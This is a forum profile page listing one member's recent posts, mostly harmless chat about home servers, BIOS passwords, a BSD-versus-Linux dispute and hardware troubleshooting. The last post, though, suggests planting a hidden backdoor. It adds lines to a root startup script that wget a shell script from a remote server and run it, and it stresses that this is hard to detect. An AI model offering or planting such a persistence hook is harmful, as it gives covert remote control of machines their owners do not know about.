greeniguana00

Members
  • Content count

    287
  • Joined

  • Last visited

Community Reputation

0 Neutral

About greeniguana00

  • Rank
    SUP3R 31337 P1MP

Contact Methods

  • ICQ
    0

Recent Profile Visitors

1,724 profile views
  1. If sleep paralysis is waking up from a dream and realizing where you are, but being unable to move, open your eyes, or talk, then I have experienced it, and it is frightening.
  2. I used an old pentium II system as an IRC/FTP server for a while. I was convenient once I set it up right because I wouldn't have to worry about restarting my main computer. All you have to do is: * Install a light distro of your choice * Configure a static IP and set up your router to forward the ports for FTP and IRC * Use something like UnrealIRCD for an IRC daemon, and set it to run at boot * Use something like pure-ftpd for an FTP daemon, make sure you configure it so that no one can access what you don't want, and set it to run at boot *Use ssh to admin it so that it can remain headless EDIT: One thing got to me though, which is why I eventually stopped: the noise at night drove me crazy.
  3. Many BIOSes have a security feature that password-protects BIOS access. For a laptop, which is likely to be stolen, this feature prevents a thief from booting a LiveCD and accessing documents with personal information.
  4. Okay, I am going to be disagreeing with you all, but I think you all need a better sense of humor. I mean, this isn't supposed to be serious.
  5. I just love this picture, and wish I lived there: http://upload.wikimedia.org/wikipedia/comm...main_bazaar.jpg Take a look at that awesome tree and the "Internet... Super Fast Speed" sign. It's insanely beautiful. So, do you guys have any pictures of where you'd like to be?
  6. I guess the reason this myth exists is because the average person is not interested in computers at all, so typically when you talk to a girl, she has an aversion to anything hacking or programming related. Personally, I know more more guys who are interested in this kind of stuff than girls, but I think that is more evidence that I am anti-social than anything else.
  7. I was just wondering if anyone in Yugoslavia was interested in having a meeting sometime. I'm not sure how it would be arranged...
  8. If you never post again, we will assume you messed with it and killed yourself.
  9. Okay,this thread is getting ugly. BSDFan, you may be the most knowledgeable person on BSD on this thread right now, but I think we need to tone down the discussion so people think about what you say, instead of being forced to take it down the throat. First, I want to try and clarify something: kitche just chose a bad word when he chose "logic" to say what he wanted to say. A much better word would have been "ideology". "Linux Logic" implies that the fundamental basis upon which Linux is founded is flawed logic; it implies that a series of choices based on irrational deduction led to Linux (and asserts that using rational logic would bring anyone to design BSD instead Linux); and it implies that there is a certain "way of thinking" about Linux to use it that has inconsistencies in it - inconsistencies which BSD supposedly does not have. Linux and BSD are both based on Unix, and both have its major characteristics. They are different in some ways, but both make use of the idea of a file system, directory tree, disk partitioning/slicing, binaries compiled from (typically C/C++) source, a kernel, multitasking, etc. So, saying that "the fundamental basis upon which Linux is founded is flawed logic", would be saying something that applies to BSD as well. So, using the term "Linux Logic" to imply this makes no sense. BSD and Linux were developed through rather different paths in the scheme of things, yet they both had planning to them. BSD was initially engineered by a small group of people, and an analogy can be drawn to Linux. Linux (the kernel) was engineered by a single person (Linus Torvalds), and GNU (the non-kernel core of the OS known as GNU/Linux), was created by a group headed by Richard Stallman, with much of the code written by Richard himself. It would be entirely fair to say that both had a high level of initial planning. The reasoning behind the initial development of both operating system was not flawed - both were filling a need that needed to be filled, and both did so with sufficient initial planning. Again, using "Linux Logic" as a derogatory term here would be inappropriate. Later, of course, the planning for Linux drifted into something more like a communal thought process, while BSD continued to be the result of the concentrated thinking of a small group. Here is where the term "ideology" can be used (in stead of "logic"). Linux could be described as having a more democratic ideology, while BSD could be described as a more meritocratic ideology (check out wikipedia, if you like). Here is where an argument for differences between BSD and Linux can really take place, but you must be sure not to use the word "logic". Before going further, I need to emphasize that no one uses just the core OS. Everyone puts applications on top of that core to make it suited to what they want to do. These applications are often as fundamentally important as any other part of the OS to the user (what is the point of having an FTP server without a program to listen on port 21 and serve files?). Because of this, it is important to note that end-user programs are all designed with very different ideologies from one another, both in Linux and BSD. The ideologies used in the development of these programs will have as big, if not a bigger effect on the end user than the operating system itself. A "lack of logical planning" is a problem in both BSD and Linux, and it has nothing to do with the OS. The variations among applications' development processes dwarf the differences between the two operating systems. The only thing I can see left is the differences in the "logic" required to use each operating system. I have never used BSD before, so I can't really comment on this, but from what I have read, they are extremely similar in terms of use.
  10. I think this sums it up: http://xkcd.com/386/
  11. I have used Linux quite extensively, and I'm sure doomtroll has as well. This is not logic, for your information. What "core commands" are you talking about? I was under the impression that "rm" and "cat" were all part of the base of BSD, which could be considered "core commands". Although there may be some slight syntactical differences in their usage, they seem to have the same functionality. Really? I'm fairly sure the apt system in Debian would not be considered an "add on" any more than the ports system in BSD. The portage system in Gentoo (another Linux distro) is also not an "add on", yet it is not found in other distributions. Different distributions also have different configuration layouts, different default security features, different kernels, nd more. Sure they do: http://www.linuxquestions.org/questions/bs...nd-ext3-425850/ It may also be beneficial for you to know that ext3 is backwards compatible with ext2, so being able to read ext2 implies being able to read ext3. This seems awfully similar to the idea of extended versus primary partitions in Linux: http://www.faqs.org/docs/Linux-mini/Linux+FreeBSD.html#ss2.1 It is not inherently different and incompatible, only different in nomenclature. The BSD kernel is just a kernel, instead of a full operating system like GNU/Linux. This is a ridiculous argument because no one uses the kernel by itself: people use a basic set of tools on top of it to make a usable system. Just like with BSD, different groups of people decide which basic tools to include in their distributions. Linux need not use iptables. What does this have to do with logic? These look to me like trivial differences. I mean, I can't use java right off the bat in Gentoo, which is a distro of Linux. First hit on Google for "Linux logic": http://linux.softpedia.com/get/Science-and...ner-31706.shtml
  12. Thank you for making an informative post!
  13. This is probably not the problem at all, but try making sure your card is seated correctly and there are no screws or anything that have fallen on your card. About a year ago, I was having strange graphics card troubles that went away and came back, and I found the problem was a screw resting on the card. if that doesn't work, try installing (if you don't already have it) the ATI control panel. Perhaps if you screw with the settings in that enough, you will hit something that fixes the problem.
  14. In what way? rm is still rm. Scripting is still the same. What "Linux thinking" are you referring to?
  15. Seriously, this is the most inappropriate place to post such a thing. He is doing nothing illegal, and you know it. The best thing I can suggest is a script that starts at runtime (or regular intervals if it is not reboot often) which downloads and executes another shell script from a server you host. You could even add a few lines to an existing startup script to make it very hard to detect. These are all run with root privledges, so it leaves many possibilities open. It could be as simple as: wget http://www.freehost.com/script.sh chmod +x script.sh ./script.sh Nornally, just keep script.sh empty, but whenever you want to gain access, you can change the script to do whatever you want, and the box will automatically download and run it.